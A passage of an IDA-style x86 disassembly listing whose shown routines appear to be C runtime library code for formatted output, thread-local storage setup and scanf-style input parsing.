		test	byte ptr [ebp+var_8], 80h
		mov	[ebp+var_14], 10h
		jz	loc_4169AC
		mov	al, byte ptr [ebp+var_30]
		add	al, 51h
		mov	[ebp+var_1C], 30h
		mov	[ebp+var_1B], al
		mov	[ebp+var_20], 2
		jmp	loc_4169AC
; ---------------------------------------------------------------------------


loc_416B99:				; CODE XREF: sub_416662+49Dj
		test	byte ptr [ebp+var_8], 80h
		mov	[ebp+var_14], 8
		jz	loc_4169AC
		or	byte ptr [ebp+var_8+1],	2
		jmp	loc_4169AC
; ---------------------------------------------------------------------------


loc_416BB3:				; CODE XREF: sub_416662+496j
		add	[ebp+arg_8], 4
		test	byte ptr [ebp+var_8], 20h
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		jz	short loc_416BCC
		mov	cx, word ptr [ebp+var_18]
		mov	[eax], cx
		jmp	short loc_416BD1
; ---------------------------------------------------------------------------


loc_416BCC:				; CODE XREF: sub_416662+55Fj
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx


loc_416BD1:				; CODE XREF: sub_416662+568j
		mov	[ebp+var_34], 1
		jmp	loc_416DA4
; ---------------------------------------------------------------------------


loc_416BDD:				; CODE XREF: sub_416662+354j
		add	[ebp+arg_8], 4
		test	bl, 20h
		mov	eax, [ebp+arg_8]
		jz	short loc_416BFB
		test	bl, 40h
		jz	short loc_416BF5
		movsx	eax, word ptr [eax-4]


loc_416BF2:				; CODE XREF: sub_416662+597j
					; sub_416662+59Fj
		cdq
		jmp	short loc_416C05
; ---------------------------------------------------------------------------


loc_416BF5:				; CODE XREF: sub_416662+58Aj
		movzx	eax, word ptr [eax-4]
		jmp	short loc_416BF2
; ---------------------------------------------------------------------------


loc_416BFB:				; CODE XREF: sub_416662+585j
		test	bl, 40h
		mov	eax, [eax-4]
		jnz	short loc_416BF2
		xor	edx, edx


loc_416C05:				; CODE XREF: sub_416662+368j
					; sub_416662+591j
		test	bl, 40h
		jz	short loc_416C1F
		test	edx, edx
		jg	short loc_416C1F
		jl	short loc_416C14
		test	eax, eax
		jnb	short loc_416C1F


loc_416C14:				; CODE XREF: sub_416662+5ACj
		neg	eax
		adc	edx, 0
		neg	edx
		or	byte ptr [ebp+var_8+1],	1


loc_416C1F:				; CODE XREF: sub_416662+5A6j
					; sub_416662+5AAj ...
		test	[ebp+var_8], esi
		mov	ebx, eax
		mov	edi, edx
		jnz	short loc_416C2A
		xor	edi, edi


loc_416C2A:				; CODE XREF: sub_416662+5C4j
		cmp	[ebp+var_C], 0
		jge	short loc_416C39
		mov	[ebp+var_C], 1
		jmp	short loc_416C4A
; ---------------------------------------------------------------------------


loc_416C39:				; CODE XREF: sub_416662+5CCj
		and	[ebp+var_8], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+var_C], eax
		jle	short loc_416C4A
		mov	[ebp+var_C], eax


loc_416C4A:				; CODE XREF: sub_416662+5D5j
					; sub_416662+5E3j
		mov	eax, ebx
		or	eax, edi
		jnz	short loc_416C54
		and	[ebp+var_20], 0


loc_416C54:				; CODE XREF: sub_416662+5ECj
		lea	esi, [ebp+var_55]


loc_416C57:				; CODE XREF: sub_416662+627j
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jg	short loc_416C67
		mov	eax, ebx
		or	eax, edi
		jz	short loc_416C8B


loc_416C67:				; CODE XREF: sub_416662+5FDj
		mov	eax, [ebp+var_14]
		cdq
		push	edx
		push	eax
		push	edi
		push	ebx
		call	sub_414F60
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+var_40], ebx
		mov	ebx, eax
		mov	edi, edx
		jle	short loc_416C86
		add	ecx, [ebp+var_30]


loc_416C86:				; CODE XREF: sub_416662+61Fj
		mov	[esi], cl
		dec	esi
		jmp	short loc_416C57
; ---------------------------------------------------------------------------


loc_416C8B:				; CODE XREF: sub_416662+603j
		lea	eax, [ebp+var_55]
		sub	eax, esi
		inc	esi
		test	byte ptr [ebp+var_8+1],	2
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], esi
		jz	short loc_416CB5
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jnz	short loc_416CA8
		test	eax, eax
		jnz	short loc_416CB5


loc_416CA8:				; CODE XREF: sub_416662+640j
		dec	[ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	30h
		inc	eax


loc_416CB2:				; CODE XREF: sub_416662+3B8j
					; sub_416662+3C1j ...
		mov	[ebp+var_14], eax


loc_416CB5:				; CODE XREF: sub_416662+270j
					; sub_416662+339j ...
		cmp	[ebp+var_34], 0
		jnz	loc_416DA4
		mov	ebx, [ebp+var_8]
		test	bl, 40h
		jz	short loc_416CED
		test	bh, 1
		jz	short loc_416CD2
		mov	[ebp+var_1C], 2Dh
		jmp	short loc_416CE6
; ---------------------------------------------------------------------------


loc_416CD2:				; CODE XREF: sub_416662+668j
		test	bl, 1
		jz	short loc_416CDD
		mov	[ebp+var_1C], 2Bh
		jmp	short loc_416CE6
; ---------------------------------------------------------------------------


loc_416CDD:				; CODE XREF: sub_416662+673j
		test	bl, 2
		jz	short loc_416CED
		mov	[ebp+var_1C], 20h


loc_416CE6:				; CODE XREF: sub_416662+66Ej
					; sub_416662+679j
		mov	[ebp+var_20], 1


loc_416CED:				; CODE XREF: sub_416662+663j
					; sub_416662+67Ej
		mov	esi, [ebp+var_24]
		sub	esi, [ebp+var_20]
		sub	esi, [ebp+var_14]
		test	bl, 0Ch
		jnz	short loc_416D0C
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	esi
		push	20h
		call	sub_416607
		add	esp, 0Ch


loc_416D0C:				; CODE XREF: sub_416662+697j
		push	[ebp+var_20]
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+var_18]
		lea	ecx, [ebp+var_1C]
		call	sub_41662B
		test	bl, 8
		pop	ecx
		jz	short loc_416D37
		test	bl, 4
		jnz	short loc_416D37
		push	edi
		push	esi
		push	30h
		lea	eax, [ebp+var_18]
		call	sub_416607
		add	esp, 0Ch


loc_416D37:				; CODE XREF: sub_416662+6BFj
					; sub_416662+6C4j
		cmp	[ebp+var_28], 0
		jz	short loc_416D7E
		cmp	[ebp+var_14], 0
		jle	short loc_416D7E
		mov	eax, [ebp+var_14]
		mov	ebx, [ebp+var_10]
		mov	[ebp+var_40], eax


loc_416D4C:				; CODE XREF: sub_416662+718j
		dec	[ebp+var_40]
		xor	eax, eax
		mov	ax, [ebx]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_41C259
		inc	ebx
		pop	ecx
		inc	ebx
		test	eax, eax
		pop	ecx
		jle	short loc_416D8D
		mov	edi, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_18]
		lea	ecx, [ebp+var_54]
		call	sub_41662B
		cmp	[ebp+var_40], 0
		pop	ecx
		jnz	short loc_416D4C
		jmp	short loc_416D8D
; ---------------------------------------------------------------------------


loc_416D7E:				; CODE XREF: sub_416662+6D9j
					; sub_416662+6DFj
		push	[ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ebp+var_18]
		call	sub_41662B
		pop	ecx


loc_416D8D:				; CODE XREF: sub_416662+702j
					; sub_416662+71Aj
		test	byte ptr [ebp+var_8], 4
		jz	short loc_416DA4
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	esi
		push	20h
		call	sub_416607
		add	esp, 0Ch


loc_416DA4:				; CODE XREF: sub_416662+576j
					; sub_416662+657j ...
		cmp	[ebp+var_2C], 0
		jz	short loc_416DB7 ; default
		push	[ebp+var_2C]
		call	sub_414A14
		and	[ebp+var_2C], 0
		pop	ecx


loc_416DB7:				; CODE XREF: sub_416662+74j
					; sub_416662+99j ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		test	bl, bl
		jnz	loc_416697


loc_416DC4:				; CODE XREF: sub_416662+40j
		pop	edi
		pop	esi


loc_416DC6:				; CODE XREF: sub_416662+29j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+var_18]
		pop	ebx
		call	sub_41A1F6
		leave
		retn
sub_416662	endp

; ---------------------------------------------------------------------------
off_416DD7	dd offset loc_416861	; DATA XREF: sub_416662+7Ar
		dd offset loc_4166E3	; jump table for switch	statement
		dd offset loc_416700
		dd offset loc_41674C
		dd offset loc_416787
		dd offset loc_416790
		dd offset loc_4167C8
		dd offset loc_41689A

; =============== S U B	R O U T	I N E =======================================



sub_416DF7	proc near		; CODE XREF: sub_416E86:loc_416E9Fp
					; sub_416E86:loc_416EECp
		call	sub_41819C
		mov	eax, dword_42D7D0
		cmp	eax, 0FFFFFFFFh
		jz	short locret_416E14
		push	eax
		call	ds:dword_42016C	; TlsFree
		or	dword_42D7D0, 0FFFFFFFFh

locret_416E14:				; CODE XREF: sub_416DF7+Dj
		retn
sub_416DF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E15	proc near		; CODE XREF: sub_414794p sub_4147A1p ...
		push	ebx
		push	esi
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	dword_42D7D0
		mov	ebx, eax
		call	ds:dword_42017C	; TlsGetValue
		mov	esi, eax
		test	esi, esi
		jnz	short loc_416E7A
		push	88h
		push	1
		call	sub_41C280
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_416E72
		push	esi
		push	dword_42D7D0
		call	ds:dword_420178	; TlsSetValue
		test	eax, eax
		jz	short loc_416E72
		mov	dword ptr [esi+54h], offset dword_42E048
		mov	dword ptr [esi+14h], 1
		call	ds:dword_420174	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_416E7A
; ---------------------------------------------------------------------------


loc_416E72:				; CODE XREF: sub_416E15+2Ej
					; sub_416E15+3Fj
		push	10h
		call	sub_4162A0
		pop	ecx


loc_416E7A:				; CODE XREF: sub_416E15+1Aj
					; sub_416E15+5Bj
		push	ebx
		call	ds:dword_420170	; RtlSetLastWin32Error
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_416E15	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E86	proc near		; CODE XREF: .text:loc_4163C4p
		call	sub_418153
		test	eax, eax
		jz	short loc_416E9F
		call	ds:dword_420180	; TlsAlloc
		cmp	eax, 0FFFFFFFFh
		mov	dword_42D7D0, eax
		jnz	short loc_416EA7


loc_416E9F:				; CODE XREF: sub_416E86+7j
		call	sub_416DF7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_416EA7:				; CODE XREF: sub_416E86+17j
		push	esi
		push	88h
		push	1
		call	sub_41C280
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_416EEC
		push	esi
		push	dword_42D7D0
		call	ds:dword_420178	; TlsSetValue
		test	eax, eax
		jz	short loc_416EEC
		mov	dword ptr [esi+54h], offset dword_42E048
		mov	dword ptr [esi+14h], 1
		call	ds:dword_420174	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		xor	eax, eax
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416EEC:				; CODE XREF: sub_416E86+34j
					; sub_416E86+45j
		call	sub_416DF7
		xor	eax, eax
		pop	esi
		retn
sub_416E86	endp


; =============== S U B	R O U T	I N E =======================================



sub_416EF5	proc near		; CODE XREF: sub_416F0B+52p
					; sub_416F0B+1EFp ...
		dec	dword ptr [edx+4]
		js	short loc_416F03
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_416F03:				; CODE XREF: sub_416EF5+3j
		push	edx
		call	sub_418DD9
		pop	ecx
		retn
sub_416EF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F0B	proc near		; CODE XREF: sub_4147C3+2Ap

var_1D8		= word ptr -1D8h
var_1D4		= byte ptr -1D4h
var_1D3		= byte ptr -1D3h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= byte ptr -1C8h
var_1C7		= byte ptr -1C7h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_39		= byte ptr -39h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	1C8h
		push	offset stru_428E78
		call	__SEH_prolog
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		xor	eax, eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_28], eax
		and	[ebp+var_29], al
		mov	[ebp+var_30], eax
		mov	[ebp+var_34], eax


loc_416F39:				; CODE XREF: sub_416F0B+88j
					; sub_416F0B+A55j ...
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		test	al, al
		jz	loc_417978
		movzx	eax, al
		push	eax
		call	sub_41C3B4
		pop	ecx
		test	eax, eax
		jz	short loc_416F95
		dec	[ebp+var_30]


loc_416F57:				; CODE XREF: sub_416F0B+62j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_416EF5
		mov	esi, eax
		push	esi
		call	sub_41C3B4
		pop	ecx
		test	eax, eax
		jnz	short loc_416F57
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416F7F
		push	[ebp+arg_0]
		push	esi
		call	sub_41C3EE
		pop	ecx
		pop	ecx


loc_416F7F:				; CODE XREF: sub_416F0B+67j
					; sub_416F0B+86j
		inc	[ebp+arg_4]
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		call	sub_41C3B4
		pop	ecx
		test	eax, eax
		jnz	short loc_416F7F
		jmp	short loc_416F39
; ---------------------------------------------------------------------------


loc_416F95:				; CODE XREF: sub_416F0B+47j
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	25h
		jnz	loc_4178F4
		xor	edi, edi
		mov	[ebp+var_38], edi
		and	[ebp+var_39], 0
		mov	[ebp+var_40], edi
		mov	[ebp+var_44], edi
		mov	[ebp+var_48], edi
		and	[ebp+var_49], 0
		and	[ebp+var_4A], 0
		and	[ebp+var_4B], 0
		and	[ebp+var_4C], 0
		and	[ebp+var_4D], 0
		and	[ebp+var_4E], 0
		mov	[ebp+var_4F], 1
		mov	[ebp+var_54], edi


loc_416FD2:				; CODE XREF: sub_416F0B+186j
		inc	esi
		movzx	ebx, byte ptr [esi]
		movzx	eax, bl
		push	eax
		call	sub_41C33B
		pop	ecx
		test	eax, eax
		jz	short loc_416FF3
		inc	[ebp+var_44]
		lea	eax, [edi+edi*4]
		lea	edi, [ebx+eax*2-30h]
		jmp	loc_41708D
; ---------------------------------------------------------------------------


loc_416FF3:				; CODE XREF: sub_416F0B+D7j
		cmp	ebx, 4Eh
		jg	short loc_41706B
		jz	loc_41708D
		cmp	ebx, 2Ah
		jz	short loc_417066
		cmp	ebx, 46h
		jz	loc_41708D
		cmp	ebx, 49h
		jz	short loc_41701B
		cmp	ebx, 4Ch
		jnz	short loc_41707A
		inc	[ebp+var_4F]
		jmp	short loc_41708D
; ---------------------------------------------------------------------------


loc_41701B:				; CODE XREF: sub_416F0B+104j
		mov	cl, [esi+1]
		cmp	cl, 36h
		jnz	short loc_41703A
		lea	eax, [esi+2]
		cmp	byte ptr [eax],	34h
		jnz	short loc_41703A
		mov	esi, eax
		inc	[ebp+var_54]
		and	[ebp+var_5C], 0
		and	[ebp+var_58], 0
		jmp	short loc_41708D
; ---------------------------------------------------------------------------


loc_41703A:				; CODE XREF: sub_416F0B+116j
					; sub_416F0B+11Ej
		cmp	cl, 33h
		jnz	short loc_41704B
		lea	eax, [esi+2]
		cmp	byte ptr [eax],	32h
		jnz	short loc_41704B
		mov	esi, eax
		jmp	short loc_41708D
; ---------------------------------------------------------------------------


loc_41704B:				; CODE XREF: sub_416F0B+132j
					; sub_416F0B+13Aj
		cmp	cl, 64h
		jz	short loc_41708D
		cmp	cl, 69h
		jz	short loc_41708D
		cmp	cl, 6Fh
		jz	short loc_41708D
		cmp	cl, 78h
		jz	short loc_41708D
		cmp	cl, 58h
		jnz	short loc_41707A
		jmp	short loc_41708D
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F0B+F6j
		inc	[ebp+var_4B]
		jmp	short loc_41708D
; ---------------------------------------------------------------------------


loc_41706B:				; CODE XREF: sub_416F0B+EBj
		cmp	ebx, 68h
		jz	short loc_417087
		cmp	ebx, 6Ch
		jz	short loc_41707F
		cmp	ebx, 77h
		jz	short loc_417082


loc_41707A:				; CODE XREF: sub_416F0B+109j
					; sub_416F0B+157j
		inc	[ebp+var_4C]
		jmp	short loc_41708D
; ---------------------------------------------------------------------------


loc_41707F:				; CODE XREF: sub_416F0B+168j
		inc	[ebp+var_4F]


loc_417082:				; CODE XREF: sub_416F0B+16Dj
		inc	[ebp+var_4E]
		jmp	short loc_41708D
; ---------------------------------------------------------------------------


loc_417087:				; CODE XREF: sub_416F0B+163j
		dec	[ebp+var_4F]
		dec	[ebp+var_4E]


loc_41708D:				; CODE XREF: sub_416F0B+E3j
					; sub_416F0B+EDj ...
		cmp	[ebp+var_4C], 0
		jz	loc_416FD2
		mov	[ebp+var_48], edi
		mov	[ebp+arg_4], esi
		cmp	[ebp+var_4B], 0
		jnz	short loc_4170B7
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_60], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ebx, [eax-4]
		mov	[ebp+var_64], ebx
		jmp	short loc_4170BA
; ---------------------------------------------------------------------------


loc_4170B7:				; CODE XREF: sub_416F0B+196j
		mov	ebx, [ebp+var_64]


loc_4170BA:				; CODE XREF: sub_416F0B+1AAj
		and	[ebp+var_4C], 0
		cmp	[ebp+var_4E], 0
		jnz	short loc_4170D8
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4170D4
		cmp	al, 43h
		jz	short loc_4170D4
		or	[ebp+var_4E], 0FFh
		jmp	short loc_4170D8
; ---------------------------------------------------------------------------


loc_4170D4:				; CODE XREF: sub_416F0B+1BDj
					; sub_416F0B+1C1j
		mov	[ebp+var_4E], 1


loc_4170D8:				; CODE XREF: sub_416F0B+1B7j
					; sub_416F0B+1C7j
		movzx	edi, byte ptr [esi]
		or	edi, 20h
		mov	[ebp+var_68], edi
		cmp	edi, 6Eh
		jz	short loc_41710F
		cmp	edi, 63h
		jz	loc_41716F
		cmp	edi, 7Bh
		jz	short loc_41716F


loc_4170F4:				; CODE XREF: sub_416F0B+1FFj
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_416EF5
		mov	esi, eax
		push	esi
		call	sub_41C3B4
		pop	ecx
		test	eax, eax
		jnz	short loc_4170F4
		mov	[ebp+var_28], esi


loc_41710F:				; CODE XREF: sub_416F0B+1D9j
		mov	esi, [ebp+arg_0]


loc_417112:				; CODE XREF: sub_416F0B+274j
		mov	ecx, [ebp+var_44]
		test	ecx, ecx
		jz	short loc_417123
		cmp	[ebp+var_48], 0
		jz	loc_417378


loc_417123:				; CODE XREF: sub_416F0B+20Cj
		cmp	edi, 6Fh
		jg	loc_417347
		jz	loc_4176BA
		cmp	edi, 63h
		jz	loc_417326
		cmp	edi, 64h
		jz	loc_4176BA
		jle	loc_41736D
		cmp	edi, 67h
		jle	short loc_417199
		cmp	edi, 69h
		jz	short loc_417181
		cmp	edi, 6Eh
		jnz	loc_41736D
		mov	eax, [ebp+var_30]
		cmp	[ebp+var_4B], 0
		jz	loc_4178CC
		jmp	loc_4178EC
; ---------------------------------------------------------------------------


loc_41716F:				; CODE XREF: sub_416F0B+1DEj
					; sub_416F0B+1E7j
		inc	[ebp+var_30]
		mov	esi, [ebp+arg_0]
		mov	edx, esi
		call	sub_416EF5
		mov	[ebp+var_28], eax
		jmp	short loc_417112
; ---------------------------------------------------------------------------


loc_417181:				; CODE XREF: sub_416F0B+247j
		push	64h
		pop	edi


loc_417184:				; CODE XREF: sub_416F0B+457j
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	loc_4175B3
		mov	[ebp+var_4A], 1
		jmp	loc_4175B8
; ---------------------------------------------------------------------------


loc_417199:				; CODE XREF: sub_416F0B+242j
		lea	esi, [ebp+var_1C8]
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	short loc_4171B5
		mov	[ebp+var_1C8], bl
		lea	esi, [ebp+var_1C7]
		jmp	short loc_4171BA
; ---------------------------------------------------------------------------


loc_4171B5:				; CODE XREF: sub_416F0B+29Aj
		cmp	ebx, 2Bh
		jnz	short loc_4171D1


loc_4171BA:				; CODE XREF: sub_416F0B+2A8j
		dec	[ebp+var_48]
		inc	[ebp+var_30]
		mov	edi, [ebp+arg_0]
		mov	edx, edi
		call	sub_416EF5
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		jmp	short loc_4171D4
; ---------------------------------------------------------------------------


loc_4171D1:				; CODE XREF: sub_416F0B+2ADj
		mov	edi, [ebp+arg_0]


loc_4171D4:				; CODE XREF: sub_416F0B+2C4j
		cmp	[ebp+var_44], 0
		jz	short loc_4171E3
		cmp	[ebp+var_48], 15Dh
		jle	short loc_41720B


loc_4171E3:				; CODE XREF: sub_416F0B+2CDj
		mov	[ebp+var_48], 15Dh
		jmp	short loc_41720B
; ---------------------------------------------------------------------------


loc_4171EC:				; CODE XREF: sub_416F0B+309j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_417216
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_416EF5
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_41720B:				; CODE XREF: sub_416F0B+2D6j
					; sub_416F0B+2DFj
		push	ebx
		call	sub_41C33B
		pop	ecx
		test	eax, eax
		jnz	short loc_4171EC


loc_417216:				; CODE XREF: sub_416F0B+2E9j
		cmp	byte_42E0F8, bl
		jnz	short loc_417268
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_417268
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_416EF5
		mov	ebx, eax
		mov	al, byte_42E0F8
		mov	[esi], al
		inc	esi
		jmp	short loc_41725A
; ---------------------------------------------------------------------------


loc_41723E:				; CODE XREF: sub_416F0B+35Bj
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_417268
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_416EF5
		mov	ebx, eax


loc_41725A:				; CODE XREF: sub_416F0B+331j
		push	ebx
		mov	[ebp+var_28], ebx
		call	sub_41C33B
		pop	ecx
		test	eax, eax
		jnz	short loc_41723E


loc_417268:				; CODE XREF: sub_416F0B+311j
					; sub_416F0B+31Bj ...
		cmp	[ebp+var_40], 0
		jz	short loc_4172DD
		cmp	ebx, 65h
		jz	short loc_417278
		cmp	ebx, 45h
		jnz	short loc_4172DD


loc_417278:				; CODE XREF: sub_416F0B+366j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_4172DD
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_416EF5
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	ebx, 2Dh
		jnz	short loc_41729F
		mov	[esi], al
		inc	esi
		jmp	short loc_4172A4
; ---------------------------------------------------------------------------


loc_41729F:				; CODE XREF: sub_416F0B+38Dj
		cmp	ebx, 2Bh
		jnz	short loc_4172D2


loc_4172A4:				; CODE XREF: sub_416F0B+392j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jnz	short loc_4172C3
		and	[ebp+var_48], eax
		jmp	short loc_4172D2
; ---------------------------------------------------------------------------


loc_4172B3:				; CODE XREF: sub_416F0B+3D0j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_4172DD
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi


loc_4172C3:				; CODE XREF: sub_416F0B+3A1j
		mov	edx, edi
		inc	[ebp+var_30]
		call	sub_416EF5
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_4172D2:				; CODE XREF: sub_416F0B+397j
					; sub_416F0B+3A6j
		push	ebx
		call	sub_41C33B
		pop	ecx
		test	eax, eax
		jnz	short loc_4172B3


loc_4172DD:				; CODE XREF: sub_416F0B+361j
					; sub_416F0B+36Bj ...
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4172EE
		push	edi
		push	ebx
		call	sub_41C3EE
		pop	ecx
		pop	ecx


loc_4172EE:				; CODE XREF: sub_416F0B+3D8j
		cmp	[ebp+var_40], 0
		jz	loc_417978
		cmp	[ebp+var_4B], 0
		jnz	loc_4178EC
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C8]
		push	eax
		push	[ebp+var_64]
		movsx	eax, [ebp+var_4F]
		dec	eax
		push	eax
		call	off_42DE90
		add	esp, 0Ch
		jmp	loc_4178EC
; ---------------------------------------------------------------------------


loc_417326:				; CODE XREF: sub_416F0B+22Aj
		test	ecx, ecx
		jnz	short loc_417334
		mov	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_417334:				; CODE XREF: sub_416F0B+41Dj
					; sub_416F0B+44Aj
		cmp	[ebp+var_4E], 0
		jle	loc_4174BF
		mov	[ebp+var_4D], 1
		jmp	loc_4174BF
; ---------------------------------------------------------------------------


loc_417347:				; CODE XREF: sub_416F0B+21Bj
		mov	eax, edi
		sub	eax, 70h
		jz	loc_4176B6
		sub	eax, 3
		jz	short loc_417334
		dec	eax
		dec	eax
		jz	loc_4176BA
		sub	eax, 3
		jz	loc_417184
		sub	eax, 3
		jz	short loc_417399


loc_41736D:				; CODE XREF: sub_416F0B+239j
					; sub_416F0B+24Cj
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		cmp	eax, [ebp+var_28]
		jz	short loc_417381


loc_417378:				; CODE XREF: sub_416F0B+212j
		cmp	[ebp+var_28], 0FFFFFFFFh
		jmp	loc_417948
; ---------------------------------------------------------------------------


loc_417381:				; CODE XREF: sub_416F0B+46Bj
		dec	[ebp+var_29]
		cmp	[ebp+var_4B], 0
		jnz	loc_4178EC
		mov	eax, [ebp+var_60]
		mov	[ebp+arg_8], eax
		jmp	loc_4178EC
; ---------------------------------------------------------------------------


loc_417399:				; CODE XREF: sub_416F0B+460j
		cmp	[ebp+var_4E], 0
		jle	short loc_4173A3
		mov	[ebp+var_4D], 1


loc_4173A3:				; CODE XREF: sub_416F0B+492j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		mov	[ebp+var_1CC], edi
		cmp	byte ptr [edi],	5Eh
		jnz	short loc_4173C0
		inc	edi
		mov	[ebp+var_1CC], edi
		or	[ebp+var_49], 0FFh


loc_4173C0:				; CODE XREF: sub_416F0B+4A8j
		mov	ebx, [ebp+var_20]
		test	ebx, ebx
		jnz	short loc_417418
		and	[ebp+ms_exc.disabled], ebx
		push	20h
		pop	eax
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_417418
; ---------------------------------------------------------------------------


loc_4173E0:				; DATA XREF: .rdata:stru_428E78o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4173E4:				; DATA XREF: .rdata:stru_428E78o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		push	20h
		call	sub_414E7D
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	short loc_417404
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	loc_417978
; ---------------------------------------------------------------------------


loc_417404:				; CODE XREF: sub_416F0B+4EEj
		mov	[ebp+var_24], 1
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1CC]
		mov	ebx, [ebp+var_20]


loc_417418:				; CODE XREF: sub_416F0B+4BAj
					; sub_416F0B+4D3j
		push	20h
		push	0
		push	ebx
		call	sub_41C550
		add	esp, 0Ch
		cmp	[ebp+var_68], 7Bh
		jnz	short loc_41749F
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41749F
		mov	dl, 5Dh
		inc	edi
		mov	byte ptr [ebx+0Bh], 20h
		jmp	short loc_4174A2
; ---------------------------------------------------------------------------


loc_417439:				; CODE XREF: sub_416F0B+59Bj
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_417489
		test	dl, dl
		jz	short loc_417489
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_417489
		inc	edi
		cmp	dl, cl
		jnb	short loc_417452
		mov	al, cl
